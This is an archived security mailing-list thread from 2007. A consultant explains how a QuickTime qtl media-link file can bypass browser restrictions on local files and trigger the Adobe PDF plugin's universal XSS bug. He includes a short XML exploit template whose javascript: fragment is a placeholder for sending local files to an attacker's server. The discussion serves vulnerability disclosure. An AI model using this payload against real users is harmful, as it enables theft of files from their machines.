Tom Stripling
12/01/07, 03:17
Brian,
You can't access local pages directly, but there are ways around that
restriction. For example, someone on this list (I forget where I first
read this, sorry) wrote about a quicktime exploit using qtl files that
allows you to access a local file from a remote site. I've been able to
use this to exploit the PDF plugin vulnerability in a local context from
a remote web page. The file would look something like this:
<?xml version=3D"1.0"?>
<?quicktime type=3D"application/x-quicktime-media-link"?>
<embed src=3D"a.mp3" autoplay=3D"true"
qtnext=3D"file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.=
p
df#a=3Djavascript:script_to_send_local_files_to_my _server"/>
It works like a charm. So essentially, anyone on the Internet able to
run JavaScript or otherwise get me to open this file could read all the
files off of my hard drive, if I were vulnerable. Scary.
Tom
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-----Original Message-----
From: Brian Eaton [mailto:eaton.lists@gmail.com]=20
Sent: Monday, January 08, 2007 1:07 PM
To: RSnake
Cc: Amit Klein; bugtraq@securityfocus.com; Web Security
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly
dangerous
Someone (I believe RSnake) pointed out that many browser machines have
PDF files in predictable locations that can be accessed via file://
links. That lets an attacker gain local javascript execution. At one
point Firefox had a rule restricting http:// and https:// web pages from
accessing file:// links. Does that rule still exist, and if so does it
mitigate the risk posed to firefox users?
Regards,
Brian
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You can't access local pages directly, but there are ways around that
restriction. For example, someone on this list (I forget where I first
read this, sorry) wrote about a quicktime exploit using qtl files that
allows you to access a local file from a remote site. I've been able to
use this to exploit the PDF plugin vulnerability in a local context from
a remote web page. The file would look something like this:
<?xml version=3D"1.0"?>
<?quicktime type=3D"application/x-quicktime-media-link"?>
<embed src=3D"a.mp3" autoplay=3D"true"
qtnext=3D"file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.=
p
df#a=3Djavascript:script_to_send_local_files_to_my _server"/>
It works like a charm. So essentially, anyone on the Internet able to
run JavaScript or otherwise get me to open this file could read all the
files off of my hard drive, if I were vulnerable. Scary.
Tom
--=20
Tom Stripling, CISSP, CISA | Senior Security Consultant | Security PS
[office - 913.888.2111 x6142 | mobile - 913.488.9712]
www.securityps.com
-----Original Message-----
From: Brian Eaton [mailto:eaton.lists@gmail.com]=20
Sent: Monday, January 08, 2007 1:07 PM
To: RSnake
Cc: Amit Klein; bugtraq@securityfocus.com; Web Security
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly
dangerous
Someone (I believe RSnake) pointed out that many browser machines have
PDF files in predictable locations that can be accessed via file://
links. That lets an attacker gain local javascript execution. At one
point Firefox had a rule restricting http:// and https:// web pages from
accessing file:// links. Does that rule still exist, and if so does it
mitigate the risk posed to firefox users?
Regards,
Brian
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